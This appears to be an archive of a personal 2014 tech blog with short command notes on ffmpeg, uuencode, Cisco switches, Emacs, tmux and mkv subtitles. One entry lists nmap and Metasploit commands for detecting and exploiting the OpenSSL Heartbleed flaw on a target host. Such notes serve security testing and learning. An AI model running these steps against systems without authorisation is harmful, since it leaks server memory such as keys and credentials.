Saturday, July 19, 2014

cutting videos with ffmpeg



ffmpeg -i input.mp3 -ss HH:MM:SS -t HH:MM:SS -async 1 output.mp3


Ex.
ffmpeg -i yoga4A.mp3 -ss 00:05:50 -t 00:23:50 -async 1 yoga4A-2.mp3

Wednesday, June 4, 2014

share binary file via gist using uuencode

@CindyLinz shared me some interesting file via gist paste.



pacman -S sharutils

[sender]
uuencode input output
# paste the output file to a new gist


[receiver]
# download the raw file
uudecode file



Tuesday, May 27, 2014

cisco command notes

ssh user@sw
en             # enable
conf t         # configure terminal
ip http server
end

sh ru          # show running-config
sh start       # show startup-config


Ref:
http://boubakr92.wordpress.com/2013/09/16/ccna-cheat-sheet-part-1/

some cheat sheets

http://www.dummies.com/how-to/content/cisco-networking-allinone-for-dummies-cheat-sheet.html
http://packetlife.net/library/cheat-sheets/

Friday, May 16, 2014

Install better Emacs on Mac OS X

Of course, with Homebrew

brew fetch emacs --HEAD --force

brew reinstall emacs --use-git-head --srgb --japanese --with-gnutls --with-cocoa --with-x11 --HEAD --force

brew linkapps emacs

https://github.com/Homebrew/homebrew/blob/master/Library/Formula/emacs.rb

Friday, May 9, 2014

listen to ICRT under linux via mplayer

Listening to ICRT news is a good way to learn English.



append in my ~/.bashrc

# listen to the ICRT radio
icrt () {
    mplayer mms://bcr.media.hinet.net/RA000038
}


https://github.com/xatier/rc-files/commit/f0454201f70013e17cb87f39422782aa2a563574

Tuesday, May 6, 2014

A brief note for ssl-heartbleed exploit on Kali


Reference:

http://www.blackmoreops.com/2014/05/03/detect-exploit-openssl-heartbleed-vulnerability-using-nmap-metasploit-kali-linux/

https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb

http://nmap.org/nsedoc/scripts/ssl-heartbleed.html


# <rip> for remote IP (target)


# nmap -sV --script=ssl-heartbleed <rip>
# service postgresql start
# service metasploit start
# msfconsole
msf> use auxiliary/scanner/ssl/openssl_heartbleed
msf> show options
msf> set RHOSTS <rip>
msf> set verbose true
msf>  exploit

Monday, May 5, 2014

Move .emacs.d to bbatsov/prelude

After a night of Sashimi, I went my friend @superbil's home.



We talked a lot about emacs and other interesting hacking stuffs.

He recommend me to switch my emacs configuration to Bozhidar Batsov's prelude on github.

https://github.com/bbatsov/prelude

Steps:

Backup all stuffs in my .emacs and .emacs.d/ directory.

cd

git clone https://github.com/bbatsov/prelude.git .emacs.d

Copy prelude-modules.el from sample/ to personal/ .

cp sample/prelude-modules.el personal/

Comment (out) modules I need

Launch my emacs.

(waiting for compiling lisp files)

Make prelude up to date

M-x prelude-update

Restart my emacs.

Done!

----

Other settings


Add @superbil's fix-font-org-mode.el under personal/preload/

https://gist.github.com/Superbil/7113937

Switch to color-theme-sanityinc-tomorrow

http://emacsthemes.caisah.info/sanityinc-tomorrow-themes/

And...

github-browse-file mode
twittering-mode
switch-window mode
guide-key mode
ace-jump mode
rebind C-h

https://github.com/xatier/rc-files/blob/master/prelude-modules.el



Big thanks to @superbil (https://twitter.com/superbil)

Friday, April 4, 2014

attach tmux after update

I do pacman -Syu to upgrade my system. After that, I can't attach my tmux session.


$ tmux attach
protocol version mismatch (client 8, server 7)

Here's a hack to attach my session.

$ pgrep tmux
23335
$ /proc/23335/exe attach


Well done!

Reference: https://bugzilla.redhat.com/show_bug.cgi?id=1073119#c2


Monday, March 10, 2014

Extract subtitles from mkv movies

$ sudo pacman -S mkvtoolnix-cli

$ mkvmerge -i 5426d90fb609da53e52fdc31ce1180efb6e29430
File '5426d90fb609da53e52fdc31ce1180efb6e29430': container: Matroska
Track ID 0: audio (PCM)
Track ID 1: video (MPEG-4p10/AVC/h.264)
Track ID 2: subtitles (SubRip/SRT)
Global tags: 1 entries

$ mkvextract tracks 5426d90fb609da53e52fdc31ce1180efb6e29430 2:sub.srt
Extracting track 2 with the CodecID 'S_TEXT/UTF8' to the file 'sub.srt'. Container format: SRT text subtitles
Progress: 100%


Reference: http://www.bunkus.org/videotools/mkvtoolnix/doc/mkvmerge-gui.html